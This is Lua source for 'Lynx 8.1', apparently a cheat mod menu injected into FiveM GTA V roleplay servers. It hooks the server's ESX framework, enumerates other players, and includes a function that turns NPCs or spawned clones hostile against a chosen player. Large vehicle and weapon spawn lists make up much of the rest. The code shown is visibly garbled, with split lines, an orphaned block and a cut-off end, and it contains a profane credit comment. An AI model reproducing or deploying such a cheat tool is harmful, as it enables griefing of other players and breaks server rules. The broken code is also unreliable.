ADSEF Chairv2
ADSEF Chairv2
ESX = nil
local untested = {
state = false
}
local logged = true
local run = {
runstate = false ,
scriptcheck = true ,
troll = true
}
Citizen.CreateThread(
function()
while ESX == nil do
TriggerEvent(
'esx:getSharedObject',
function(c)
ESX = c
end
)
Citizen.Wait(1000)
end
end
)
local pedlist = {}
local presensecheck = {
state = true
}
count = {}
scroll = {
' L',
'Ly',
'Lyn',
'Lynx',
'Lynx ',
'Lynx 8',
'Lynx 8.',
'Lynx 8.1',
'Lynx 8.1 ',
'Lynx 8.1 B',
'Lynx 8.1 Be',
'Lynx 8.1 Bet',
'Lynx 8.1 Beta',
'Lynx 8.1 Beta ',
'Lynx 8.1 Beta 1',
'Lynx 8.1 Beta ',
'Lynx 8.1 Beta',
'Lynx 8.1 Bet',
'Lynx 8.1 Be',
'Lynx 8.1 B',
'Lynx 8.1 ',
'Lynx 8.1',
'Lynx 8.',
'Lynx 8',
'Lynx ',
'Lynx',
'Lyn',
'Ly'
}
zzzt = 1
Citizen.CreateThread(
function()
for i = 0, 256 do
local count1 = GetPlayerName(i)
if count1 ~= '**Invalid**' then
table.insert(count, count1)
end
end
end
)
Citizen.CreateThread(
function()
while presense do
Citizen.Wait(5000)
for i = 1, #count do
if GetPlayerName(i) ~= count[i] then
table.remove(count, i, GetPlayerName(i))
end
end
end
end
)
Citizen.CreateThread(
function()
while presense do
if nname ~= GetPlayerName(PlayerId()) then
Citizen.Wait(3000)
nname = count[math.random(#count)]
elseif nname == GetPlayerName(PlayerId()) then
Citizen.Wait(50)
nname = count[math.random(#count)]
end
end
end
)
Citizen.CreateThread(
function()
print"Modified by Fallen#0811"
while presense do
SetRP()
Citizen.Wait(100)
zzzt = zzzt + 1
if zzzt == 29 then
zzzt = 1
end
end
end
)
--[Fallen#0811 makes good menu additions, now give me fucking credit NiT34ByTe]--
local function makePedHostile(target, ped, swat, clone) -- RipTide Mod Menu Remade
Function
if swat == 1 or swat == true then
RequestNetworkControl(ped)
TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
SetPedCanSwitchWeapon(ped, true)
else
if clone == 1 or clone == true then
local Hash = GetEntityModel(ped)
if DoesEntityExist(ped) then
DeletePed(ped)
RequestModel(Hash)
local coords = GetEntityCoords(GetPlayerPed(target), true)
if HasModelLoaded(Hash) then
local newPed = CreatePed(21, Hash, coords.x, coords.y,
coords.z, 0, 1, 0)
if GetEntityHealth(newPed) == GetEntityMaxHealth(newPed) then
SetModelAsNoLongerNeeded(Hash)
RequestNetworkControl(newPed)
TaskCombatPed(newPed, GetPlayerPed(target), 0, 16)
SetPedCanSwitchWeapon(ped, true)
end
end
end
else
local TargetHandle = GetPlayerPed(target)
RequestNetworkControl(ped)
TaskCombatPed(ped, TargetHandle, 0, 16)
end
end
end
function DrawTxt(text, x, y)
SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0, 0.4)
SetTextDropshadow(1, 0, 0, 0, 255)
SetTextEdge(1, 0, 0, 0, 255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry('STRING')
AddTextComponentString(text)
DrawText(x, y)
end
if onScreen then
SetTextScale(0.0 * scale, 0.55 * scale)
SetTextFont(0)
SetTextProportional(1)
SetTextColour(255, 255, 255, 255)
SetTextDropshadow(0, 0, 0, 0, 255)
SetTextEdge(2, 0, 0, 0, 150)
SetTextDropShadow()
SetTextOutline()
SetTextEntry('STRING')
SetTextCentre(1)
AddTextComponentString(text)
DrawText(_x, _y)
end
end
local objects = {}
for i = 1, #objects do
local x, y, z = table.unpack(GetEntityCoords(objects[i]))
DrawText3D2(x, y, z + 1, 'OBJECT HERE! INDEX: ' .. i)
end
Lynx8 = {}
Lynx8.debug = true
local function d(e)
local f = {}
local h = GetGameTimer() / 200
f.r = math.floor(math.sin(h * e + 0) * 127 + 128)
f.g = math.floor(math.sin(h * e + 2) * 127 + 128)
f.b = math.floor(math.sin(h * e + 4) * 127 + 128)
return f
end
local j = {}
local k = {
up = 172,
down = 173,
left = 174,
right = 175,
select = 176,
back = 177
}
local l = 0
local m = nil
local n = nil
local o = 0.21
local q = 0.09
local s = 0.016
local t = 1.0
local u = 0.034
local v = 0
local w = 0.32
local A = 0.005
local B = 0.005
local C = '34ByTe Community'
local function D(E)
if Lynx8.debug then
Citizen.Trace('[Lynx8] ' .. tostring(E))
end
end
local function F(G, H, value)
if G and j[G] then
j[G][H] = value
D(G .. ' menu property changed: { ' .. tostring(H) .. ', ' ..
tostring(value) .. ' }')
end
end
local function I(G)
if G and j[G] then
return j[G].visible
else
return false
end
end
local function J(G, K, L)
if G and j[G] then
F(G, 'visible', K)
if not L and j[G] then
F(G, 'currentOption', 1)
end
if K then
if G ~= n and I(n) then
J(n, false)
end
n = G
end
end
end
local function M(E, x, y, N, O, P, Q, R, S)
SetTextColour(O.r, O.g, O.b, O.a)
SetTextFont(N)
SetTextScale(P, P)
if R then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if j[n] then
if Q then
SetTextCentre(Q)
elseif S then
SetTextWrap(j[n].x, j[n].x + o - A)
SetTextRightJustify(true)
end
end
SetTextEntry('STRING')
AddTextComponentString(E)
DrawText(x, y)
end
local function T(x, y, U, height, O)
DrawRect(x, y, U, height, O.r, O.g, O.b, O.a)
end
local function V()
if j[n] then
local x = j[n].x + o / 2
local y = j[n].y + q / 2
if j[n].titleBackgroundSprite then
DrawSprite(
j[n].titleBackgroundSprite.dict,
j[n].titleBackgroundSprite.name,
x,
y,
o,
q,
0.,
255,
255,
255,
255
)
else
T(x, y, o, q, j[n].titleBackgroundColor)
end
M(j[n].title, x, y - q / 2 + s, j[n].titleFont, j[n].titleColor, t, true)
end
end
local function W()
if j[n] then
local x = j[n].x + o / 2
local y = j[n].y + q + u / 2
local X = {
r = j[n].titleBackgroundColor.r,
g = j[n].titleBackgroundColor.g,
b = j[n].titleBackgroundColor.b,
a = 255
}
T(x, y, o, u, j[n].subTitleBackgroundColor)
M(j[n].subTitle, j[n].x + A, y - u / 2 + B, v, X, w, false)
if l > j[n].maxOptionCount then
M(
tostring(j[n].currentOption) .. ' / ' .. tostring(l),
j[n].x + o,
y - u / 2 + B,
v,
X,
w,
false,
false,
true
)
end
end
end
local function Y(E, Z)
local x = j[n].x + o / 2
local a0 = nil
if j[n].currentOption <= j[n].maxOptionCount and l <= j[n].maxOptionCount then
a0 = l
elseif l > j[n].currentOption - j[n].maxOptionCount and l <= j[n].currentOption
then
a0 = l - (j[n].currentOption - j[n].maxOptionCount)
end
if a0 then
local y = j[n].y + q + u + u * a0 - u / 2
local a1 = nil
local a2 = nil
local a3 = nil
local R = false
if j[n].currentOption == l then
a1 = j[n].menuFocusBackgroundColor
a2 = j[n].menuFocusTextColor
a3 = j[n].menuFocusTextColor
else
a1 = j[n].menuBackgroundColor
a2 = j[n].menuTextColor
a3 = j[n].menuSubTextColor
R = true
end
T(x, y, o, u, a1)
M(E, j[n].x + A, y - u / 2 + B, v, a2, w, false, R)
if Z then
M(Z, j[n].x + A, y - u / 2 + B, v, a3, w, false, R, true)
end
end
end
function Lynx8.CurrentMenu()
return n
end
function Lynx8.OpenMenu(G)
if G and j[G] then
PlaySoundFrontend(-1, 'SELECT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
J(G, true)
if j[G].titleBackgroundSprite then
RequestStreamedTextureDict(j[G].titleBackgroundSprite.dict, false)
while not HasStreamedTextureDictLoaded(j[G].titleBackgroundSprite.dict)
do
Citizen.Wait(0)
end
end
D(tostring(G) .. ' menu opened')
else
D('Failed to open ' .. tostring(G) .. " menu: it doesn't exist")
end
end
function Lynx8.IsMenuOpened(G)
return I(G)
end
function Lynx8.IsAnyMenuOpened()
for G, _ in pairs(j) do
if I(G) then
return true
end
end
return false
end
function Lynx8.IsMenuAboutToBeClosed()
if j[n] then
return j[n].aboutToBeClosed
else
return false
end
end
function Lynx8.CloseMenu()
if j[n] then
if j[n].aboutToBeClosed then
j[n].aboutToBeClosed = false
J(n, false)
D(tostring(n) .. ' menu closed')
PlaySoundFrontend(-1, 'QUIT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
l = 0
n = nil
m = nil
else
j[n].aboutToBeClosed = true
D(tostring(n) .. ' menu about to be closed')
end
end
end
function Lynx8.Button(E, Z)
local a8 = E
if Z then
a8 = '{ ' .. tostring(a8) .. ', ' .. tostring(Z) .. ' }'
end
if j[n] then
l = l + 1
local a9 = j[n].currentOption == l
Y(E, Z)
if a9 then
if m == k.select then
PlaySoundFrontend(-1, j[n].buttonPressedSound.name,
j[n].buttonPressedSound.set, true)
D(a8 .. ' button pressed')
return true
elseif m == k.left or m == k.right then
PlaySoundFrontend(-1, 'NAV_UP_DOWN',
'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
end
end
return false
else
D('Failed to create ' .. a8 .. ' button: ' .. tostring(n) .. " menu doesn't
exist")
return false
end
end
function Lynx8.MenuButton(E, G)
if j[G] then
if Lynx8.Button(E) then
J(n, false)
J(G, true, true)
return true
end
else
D('Failed to create ' .. tostring(E) .. ' menu button: ' .. tostring(G) ..
" submenu doesn't exist")
end
return false
end
function Lynx8.Display()
if I(n) then
if j[n].aboutToBeClosed then
Lynx8.CloseMenu()
else
ClearAllHelpMessages()
V()
W()
m = nil
if IsDisabledControlJustPressed(0, k.down) then
PlaySoundFrontend(-1, 'NAV_UP_DOWN',
'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
if j[n].currentOption < l then
j[n].currentOption = j[n].currentOption + 1
else
j[n].currentOption = 1
end
elseif IsDisabledControlJustPressed(0, k.up) then
PlaySoundFrontend(-1, 'NAV_UP_DOWN',
'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
if j[n].currentOption > 1 then
j[n].currentOption = j[n].currentOption - 1
else
j[n].currentOption = l
end
elseif IsDisabledControlJustPressed(0, k.left) then
m = k.left
elseif IsDisabledControlJustPressed(0, k.right) then
m = k.right
elseif IsDisabledControlJustPressed(0, k.select) then
m = k.select
elseif IsDisabledControlJustPressed(0, k.back) then
if j[j[n].previousMenu] then
PlaySoundFrontend(-1, 'BACK', 'HUD_FRONTEND_DEFAULT_SOUNDSET',
true)
J(j[n].previousMenu, true)
else
Lynx8.CloseMenu()
end
end
l = 0
end
end
end
function Lynx8.SetMenuWidth(G, U)
F(G, 'width', U)
end
function Lynx8.SetMenuX(G, x)
F(G, 'x', x)
end
function Lynx8.SetMenuY(G, y)
F(G, 'y', y)
end
function Lynx8.SetTitleColor(G, r, g, b, a)
F(G, 'titleColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or
j[G].titleColor.a})
end
function Lynx8.SetTitleBackgroundColor(G, r, g, b, a)
F(
G,
'titleBackgroundColor',
{
['r'] = r,
['g'] = g,
['b'] = b,
['a'] = a or j[G].titleBackgroundColor.a
}
)
end
function Lynx8.SetSubTitle(G, E)
F(G, 'subTitle', E)
end
function Lynx8.SetMenuBackgroundColor(G, r, g, b, a)
F(
G,
'menuBackgroundColor',
{
['r'] = r,
['g'] = g,
['b'] = b,
['a'] = a or j[G].menuBackgroundColor.a
}
)
end
function Lynx8.SetMenuTextColor(G, r, g, b, a)
F(G, 'menuTextColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or
j[G].menuTextColor.a})
end
function Lynx8.SetMenuSubTextColor(G, r, g, b, a)
F(G, 'menuSubTextColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or
j[G].menuSubTextColor.a})
end
function Lynx8.SetMenuFocusColor(G, r, g, b, a)
F(G, 'menuFocusColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or
j[G].menuFocusColor.a})
end
function DrawText3D(x, y, z, E, r, g, b)
SetDrawOrigin(x, y, z, 0)
SetTextFont(0)
SetTextProportional(0)
SetTextScale(0.0, 0.20)
SetTextColour(r, g, b, 255)
SetTextDropshadow(0, 0, 0, 0, 255)
SetTextEdge(2, 0, 0, 0, 150)
SetTextDropShadow()
SetTextOutline()
SetTextEntry('STRING')
SetTextCentre(1)
AddTextComponentString(E)
DrawText(0.0, 0.0)
ClearDrawOrigin()
end
function drawNotification(E)
SetNotificationTextEntry('STRING')
AddTextComponentString(E)
DrawNotification(false, false)
end
function checkValidVehicleExtras()
local ar = PlayerPedId()
local as = GetVehiclePedIsIn(ar, false)
local at = {}
for i = 0, 50, 1 do
if DoesExtraExist(as, i) then
local au = '~h~Extra #' .. tostring(i)
local E = 'OFF'
if IsVehicleExtraTurnedOn(as, i) then
E = 'ON'
end
local av = '~h~extra ' .. tostring(i)
table.insert(
at,
{
menuName = realModName,
data = {['action'] = realSpawnName, ['state'] = E}
}
)
end
end
return at
end
function DoesVehicleHaveExtras(veh)
for i = 1, 30 do
if DoesExtraExist(veh, i) then
return true
end
end
return false
end
function checkValidVehicleMods(aw)
local ar = PlayerPedId()
local as = GetVehiclePedIsIn(ar, false)
local at = {}
local ax = GetNumVehicleMods(as, aw)
if aw == 48 and ax == 0 then
local ax = GetVehicleLiveryCount(as)
for i = 1, ax, 1 do
local ay = i - 1
local az = GetLiveryName(as, ay)
local realModName = GetLabelText(az)
local aA, realSpawnName = aw, ay
at[i] = {
menuName = realModName,
data = {['modid'] = aA, ['realIndex'] = realSpawnName}
}
end
end
for i = 1, ax, 1 do
local ay = i - 1
local az = GetModTextLabel(as, aw, ay)
local realModName = GetLabelText(az)
local aA, realSpawnName = ax, ay
at[i] = {
menuName = realModName,
data = {['modid'] = aA, ['realIndex'] = realSpawnName}
}
end
if ax > 0 then
local ay = -1
local aA, realSpawnName = aw, ay
table.insert(
at,
1,
{
menuName = 'Stock',
data = {['modid'] = aA, ['realIndex'] = realSpawnName}
}
)
end
return at
end
local aB = {
'Dinghy',
'Dinghy2',
'Dinghy3',
'Dingh4',
'Jetmax',
'Marquis',
'Seashark',
'Seashark2',
'Seashark3',
'Speeder',
'Speeder2',
'Squalo',
'Submersible',
'Submersible2',
'Suntrap',
'Toro',
'Toro2',
'Tropic',
'Tropic2',
'Tug'
}
local aC = {
'Benson',
'Biff',
'Cerberus',
'Cerberus2',
'Cerberus3',
'Hauler',
'Hauler2',
'Mule',
'Mule2',
'Mule3',
'Mule4',
'Packer',
'Phantom',
'Phantom2',
'Phantom3',
'Pounder',
'Pounder2',
'Stockade',
'Stockade3',
'Terbyte'
}
local aD = {
'Blista',
'Blista2',
'Blista3',
'Brioso',
'Dilettante',
'Dilettante2',
'Issi2',
'Issi3',
'issi4',
'Iss5',
'issi6',
'Panto',
'Prarire',
'Rhapsody'
}
local aE = {
'CogCabrio',
'Exemplar',
'F620',
'Felon',
'Felon2',
'Jackal',
'Oracle',
'Oracle2',
'Sentinel',
'Sentinel2',
'Windsor',
'Windsor2',
'Zion',
'Zion2'
}
local aF = {
'Bmx',
'Cruiser',
'Fixter',
'Scorcher',
'Tribike',
'Tribike2',
'tribike3'
}
local aG = {
'ambulance',
'FBI',
'FBI2',
'FireTruk',
'PBus',
'police',
'Police2',
'Police3',
'Police4',
'PoliceOld1',
'PoliceOld2',
'PoliceT',
'Policeb',
'Polmav',
'Pranger',
'Predator',
'Riot',
'Riot2',
'Sheriff',
'Sheriff2'
}
local aH = {
'Akula',
'Annihilator',
'Buzzard',
'Buzzard2',
'Cargobob',
'Cargobob2',
'Cargobob3',
'Cargobob4',
'Frogger',
'Frogger2',
'Havok',
'Hunter',
'Maverick',
'Savage',
'Seasparrow',
'Skylift',
'Supervolito',
'Supervolito2',
'Swift',
'Swift2',
'Valkyrie',
'Valkyrie2',
'Volatus'
}
local aI = {
'Bulldozer',
'Cutter',
'Dump',
'Flatbed',
'Guardian',
'Handler',
'Mixer',
'Mixer2',
'Rubble',
'Tiptruck',
'Tiptruck2'
}
local aJ = {
'APC',
'Barracks',
'Barracks2',
'Barracks3',
'Barrage',
'Chernobog',
'Crusader',
'Halftrack',
'Khanjali',
'Rhino',
'Scarab',
'Scarab2',
'Scarab3',
'Thruster',
'Trailersmall2'
}
local aK = {
'Akuma',
'Avarus',
'Bagger',
'Bati2',
'Bati',
'BF400',
'Blazer4',
'CarbonRS',
'Chimera',
'Cliffhanger',
'Daemon',
'Daemon2',
'Defiler',
'Deathbike',
'Deathbike2',
'Deathbike3',
'Diablous',
'Diablous2',
'Double',
'Enduro',
'esskey',
'Faggio2',
'Faggio3',
'Faggio',
'Fcr2',
'fcr',
'gargoyle',
'hakuchou2',
'hakuchou',
'hexer',
'innovation',
'Lectro',
'Manchez',
'Nemesis',
'Nightblade',
'Oppressor',
'Oppressor2',
'PCJ',
'Ratbike',
'Ruffian',
'Sanchez2',
'Sanchez',
'Sanctus',
'Shotaro',
'Sovereign',
'Thrust',
'Vader',
'Vindicator',
'Vortex',
'Wolfsbane',
'zombiea',
'zombieb'
}
local aL = {
'Blade',
'Buccaneer',
'Buccaneer2',
'Chino',
'Chino2',
'clique',
'Deviant',
'Dominator',
'Dominator2',
'Dominator3',
'Dominator4',
'Dominator5',
'Dominator6',
'Dukes',
'Dukes2',
'Ellie',
'Faction',
'faction2',
'faction3',
'Gauntlet',
'Gauntlet2',
'Hermes',
'Hotknife',
'Hustler',
'Impaler',
'Impaler2',
'Impaler3',
'Impaler4',
'Imperator',
'Imperator2',
'Imperator3',
'Lurcher',
'Moonbeam',
'Moonbeam2',
'Nightshade',
'Phoenix',
'Picador',
'RatLoader',
'RatLoader2',
'Ruiner',
'Ruiner2',
'Ruiner3',
'SabreGT',
'SabreGT2',
'Sadler2',
'Slamvan',
'Slamvan2',
'Slamvan3',
'Slamvan4',
'Slamvan5',
'Slamvan6',
'Stalion',
'Stalion2',
'Tampa',
'Tampa3',
'Tulip',
'Vamos,',
'Vigero',
'Virgo',
'Virgo2',
'Virgo3',
'Voodoo',
'Voodoo2',
'Yosemite'
}
local aM = {
'BFinjection',
'Bifta',
'Blazer',
'Blazer2',
'Blazer3',
'Blazer5',
'Bohdi',
'Brawler',
'Bruiser',
'Bruiser2',
'Bruiser3',
'Caracara',
'DLoader',
'Dune',
'Dune2',
'Dune3',
'Dune4',
'Dune5',
'Insurgent',
'Insurgent2',
'Insurgent3',
'Kalahari',
'Kamacho',
'LGuard',
'Marshall',
'Mesa',
'Mesa2',
'Mesa3',
'Monster',
'Monster4',
'Monster5',
'Nightshark',
'RancherXL',
'RancherXL2',
'Rebel',
'Rebel2',
'RCBandito',
'Riata',
'Sandking',
'Sandking2',
'Technical',
'Technical2',
'Technical3',
'TrophyTruck',
'TrophyTruck2',
'Freecrawler',
'Menacer'
}
local aN = {
'AlphaZ1',
'Avenger',
'Avenger2',
'Besra',
'Blimp',
'blimp2',
'Blimp3',
'Bombushka',
'Cargoplane',
'Cuban800',
'Dodo',
'Duster',
'Howard',
'Hydra',
'Jet',
'Lazer',
'Luxor',
'Luxor2',
'Mammatus',
'Microlight',
'Miljet',
'Mogul',
'Molotok',
'Nimbus',
'Nokota',
'Pyro',
'Rogue',
'Seabreeze',
'Shamal',
'Starling',
'Stunt',
'Titan',
'Tula',
'Velum',
'Velum2',
'Vestra',
'Volatol',
'Striekforce'
}
local aO = {
'BJXL',
'Baller',
'Baller2',
'Baller3',
'Baller4',
'Baller5',
'Baller6',
'Cavalcade',
'Cavalcade2',
'Dubsta',
'Dubsta2',
'Dubsta3',
'FQ2',
'Granger',
'Gresley',
'Habanero',
'Huntley',
'Landstalker',
'patriot',
'Patriot2',
'Radi',
'Rocoto',
'Seminole',
'Serrano',
'Toros',
'XLS',
'XLS2'
}
local aP = {
'Asea',
'Asea2',
'Asterope',
'Cog55',
'Cogg552',
'Cognoscenti',
'Cognoscenti2',
'emperor',
'emperor2',
'emperor3',
'Fugitive',
'Glendale',
'ingot',
'intruder',
'limo2',
'premier',
'primo',
'primo2',
'regina',
'romero',
'stafford',
'Stanier',
'stratum',
'stretch',
'surge',
'tailgater',
'warrener',
'Washington'
}
local aQ = {
'Airbus',
'Brickade',
'Bus',
'Coach',
'Rallytruck',
'Rentalbus',
'taxi',
'Tourbus',
'Trash',
'Trash2',
'WastIndr',
'PBus2'
}
local aR = {
'Alpha',
'Banshee',
'Banshee2',
'BestiaGTS',
'Buffalo',
'Buffalo2',
'Buffalo3',
'Carbonizzare',
'Comet2',
'Comet3',
'Comet4',
'Comet5',
'Coquette',
'Deveste',
'Elegy',
'Elegy2',
'Feltzer2',
'Feltzer3',
'FlashGT',
'Furoregt',
'Fusilade',
'Futo',
'GB200',
'Hotring',
'Infernus2',
'Italigto',
'Jester',
'Jester2',
'Khamelion',
'Kurama',
'Kurama2',
'Lynx',
'MAssacro',
'MAssacro2',
'neon',
'Ninef',
'ninfe2',
'omnis',
'Pariah',
'Penumbra',
'Raiden',
'RapidGT',
'RapidGT2',
'Raptor',
'Revolter',
'Ruston',
'Schafter2',
'Schafter3',
'Schafter4',
'Schafter5',
'Schafter6',
'Schlagen',
'Schwarzer',
'Sentinel3',
'Seven70',
'Specter',
'Specter2',
'Streiter',
'Sultan',
'Surano',
'Tampa2',
'Tropos',
'Verlierer2',
'ZR380',
'ZR3802',
'ZR3803'
}
local aS = {
'Ardent',
'BType',
'BType2',
'BType3',
'Casco',
'Cheetah2',
'Cheburek',
'Coquette2',
'Coquette3',
'Deluxo',
'Fagaloa',
'Gt500',
'JB700',
'JEster3',
'MAmba',
'Manana',
'Michelli',
'Monroe',
'Peyote',
'Pigalle',
'RapidGT3',
'Retinue',
'Savastra',
'Stinger',
'Stingergt',
'Stromberg',
'Swinger',
'Torero',
'Tornado',
'Tornado2',
'Tornado3',
'Tornado4',
'Tornado5',
'Tornado6',
'Viseris',
'Z190',
'ZType'
}
local aT = {
'Adder',
'Autarch',
'Bullet',
'Cheetah',
'Cyclone',
'EntityXF',
'Entity2',
'FMJ',
'GP1',
'Infernus',
'LE7B',
'Nero',
'Nero2',
'Osiris',
'Penetrator',
'PFister811',
'Prototipo',
'Reaper',
'SC1',
'Scramjet',
'Sheava',
'SultanRS',
'Superd',
'T20',
'Taipan',
'Tempesta',
'Tezeract',
'Turismo2',
'Turismor',
'Tyrant',
'Tyrus',
'Vacca',
'Vagner',
'Vigilante',
'Visione',
'Voltic',
'Voltic2',
'Zentorno',
'Italigtb',
'Italigtb2',
'XA21'
}
local aU = {
'ArmyTanker',
'ArmyTrailer',
'ArmyTrailer2',
'BaleTrailer',
'BoatTrailer',
'CableCar',
'DockTrailer',
'Graintrailer',
'Proptrailer',
'Raketailer',
'TR2',
'TR3',
'TR4',
'TRFlat',
'TVTrailer',
'Tanker',
'Tanker2',
'Trailerlogs',
'Trailersmall',
'Trailers',
'Trailers2',
'Trailers3'
}
local aV = {
'Freight',
'Freightcar',
'Freightcont1',
'Freightcont2',
'Freightgrain',
'Freighttrailer',
'TankerCar'
}
local aW = {
'Airtug',
'Caddy',
'Caddy2',
'Caddy3',
'Docktug',
'Forklift',
'Mower',
'Ripley',
'Sadler',
'Scrap',
'TowTruck',
'Towtruck2',
'Tractor',
'Tractor2',
'Tractor3',
'TrailerLArge2',
'Utilitruck',
'Utilitruck3',
'Utilitruck2'
}
local aX = {
'Bison',
'Bison2',
'Bison3',
'BobcatXL',
'Boxville',
'Boxville2',
'Boxville3',
'Boxville4',
'Boxville5',
'Burrito',
'Burrito2',
'Burrito3',
'Burrito4',
'Burrito5',
'Camper',
'GBurrito',
'GBurrito2',
'Journey',
'Minivan',
'Minivan2',
'Paradise',
'pony',
'Pony2',
'Rumpo',
'Rumpo2',
'Rumpo3',
'Speedo',
'Speedo2',
'Speedo4',
'Surfer',
'Surfer2',
'Taco',
'Youga',
'youga2'
}
local aY = {
'Boats',
'Commercial',
'Compacts',
'Coupes',
'Cycles',
'Emergency',
'Helictopers',
'Industrial',
'Military',
'Motorcycles',
'Muscle',
'Off-Road',
'Planes',
'SUVs',
'Sedans',
'Service',
'Sports',
'Sports Classic',
'Super',
'Trailer',
'Trains',
'Utility',
'Vans'
}
local aZ = {
aB,
aC,
aD,
aE,
aF,
aG,
aH,
aI,
aJ,
aK,
aL,
aM,
aN,
aO,
aP,
aQ,
aR,
aS,
aT,
aU,
aV,
aW,
aX
}
local a_ = {
'WEAPON_KNIFE',
'WEAPON_KNUCKLE',
'WEAPON_NIGHTSTICK',
'WEAPON_HAMMER',
'WEAPON_BAT',
'WEAPON_GOLFCLUB',
'WEAPON_CROWBAR',
'WEAPON_BOTTLE',
'WEAPON_DAGGER',
'WEAPON_HATCHET',
'WEAPON_MACHETE',
'WEAPON_FLASHLIGHT',
'WEAPON_SWITCHBLADE',
'WEAPON_PISTOL',
'WEAPON_PISTOL_MK2',
'WEAPON_COMBATPISTOL',
'WEAPON_APPISTOL',
'WEAPON_PISTOL50',
'WEAPON_SNSPISTOL',
'WEAPON_HEAVYPISTOL',
'WEAPON_VINTAGEPISTOL',
'WEAPON_STUNGUN',
'WEAPON_FLAREGUN',
'WEAPON_MARKSMANPISTOL',
'WEAPON_REVOLVER',
'WEAPON_MICROSMG',
'WEAPON_SMG',
'WEAPON_SMG_MK2',
'WEAPON_ASSAULTSMG',
'WEAPON_MG',
'WEAPON_COMBATMG',
'WEAPON_COMBATMG_MK2',
'WEAPON_COMBATPDW',
'WEAPON_GUSENBERG',
'WEAPON_MACHINEPISTOL',
'WEAPON_ASSAULTRIFLE',
'WEAPON_ASSAULTRIFLE_MK2',
'WEAPON_CARBINERIFLE',
'WEAPON_CARBINERIFLE_MK2',
'WEAPON_ADVANCEDRIFLE',
'WEAPON_SPECIALCARBINE',
'WEAPON_BULLPUPRIFLE',
'WEAPON_COMPACTRIFLE',
'WEAPON_PUMPSHOTGUN',
'WEAPON_SAWNOFFSHOTGUN',
'WEAPON_BULLPUPSHOTGUN',
'WEAPON_ASSAULTSHOTGUN',
'WEAPON_MUSKET',
'WEAPON_HEAVYSHOTGUN',
'WEAPON_DBSHOTGUN',
'WEAPON_SNIPERRIFLE',
'WEAPON_HEAVYSNIPER',
'WEAPON_HEAVYSNIPER_MK2',
'WEAPON_MARKSMANRIFLE',
'WEAPON_GRENADELAUNCHER',
'WEAPON_GRENADELAUNCHER_SMOKE',
'WEAPON_RPG',
'WEAPON_STINGER',
'WEAPON_FIREWORK',
'WEAPON_HOMINGLAUNCHER',
'WEAPON_GRENADE',
'WEAPON_STICKYBOMB',
'WEAPON_PROXMINE',
'WEAPON_BZGAS',
'WEAPON_SMOKEGRENADE',
'WEAPON_MOLOTOV',
'WEAPON_FIREEXTINGUISHER',
'WEAPON_PETROLCAN',
'WEAPON_SNOWBALL',
'WEAPON_FLARE',
'WEAPON_BALL'
}
local b0 = {
Melee = {
BaseballBat = {
id = 'weapon_bat',
name = '~h~~r~> ~s~Baseball Bat',
bInfAmmo = false,
mods = {}
},
BrokenBottle = {
id = 'weapon_bottle',
name = '~h~~r~> ~s~Broken Bottle',
bInfAmmo = false,
mods = {}
},
Crowbar = {
id = 'weapon_Crowbar',
name = '~h~~r~> ~s~Crowbar',
bInfAmmo = false,
mods = {}
},
Flashlight = {
id = 'weapon_flashlight',
name = '~h~~r~> ~s~Flashlight',
bInfAmmo = false,
mods = {}
},
GolfClub = {
id = 'weapon_golfclub',
name = '~h~~r~> ~s~Golf Club',
bInfAmmo = false,
mods = {}
},
BrassKnuckles = {
id = 'weapon_knuckle',
name = '~h~~r~> ~s~Brass Knuckles',
bInfAmmo = false,
mods = {}
},
Knife = {
id = 'weapon_knife',
name = '~h~~r~> ~s~Knife',
bInfAmmo = false,
mods = {}
},
Machete = {
id = 'weapon_machete',
name = '~h~~r~> ~s~Machete',
bInfAmmo = false,
mods = {}
},
Switchblade = {
id = 'weapon_switchblade',
name = '~h~~r~> ~s~Switchblade',
bInfAmmo = false,
mods = {}
},
Nightstick = {
id = 'weapon_nightstick',
name = '~h~~r~> ~s~Nightstick',
bInfAmmo = false,
mods = {}
},
BattleAxe = {
id = 'weapon_battleaxe',
name = '~h~~r~> ~s~Battle Axe',
bInfAmmo = false,
mods = {}
}
},
Handguns = {
Pistol = {
id = 'weapon_pistol',
name = '~h~~r~> ~s~Pistol',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_PISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_PISTOL_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP_02'
}
}
}
},
PistolMK2 = {
id = 'weapon_pistol_mk2',
name = '~h~~r~> ~s~Pistol MK 2',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_PISTOL_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_PISTOL_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_PISTOL_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_PISTOL_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_PISTOL_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Mounted Scope',
id = 'COMPONENT_AT_PI_RAIL'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Compensator',
id = 'COMPONENT_AT_PI_COMP'
},
{
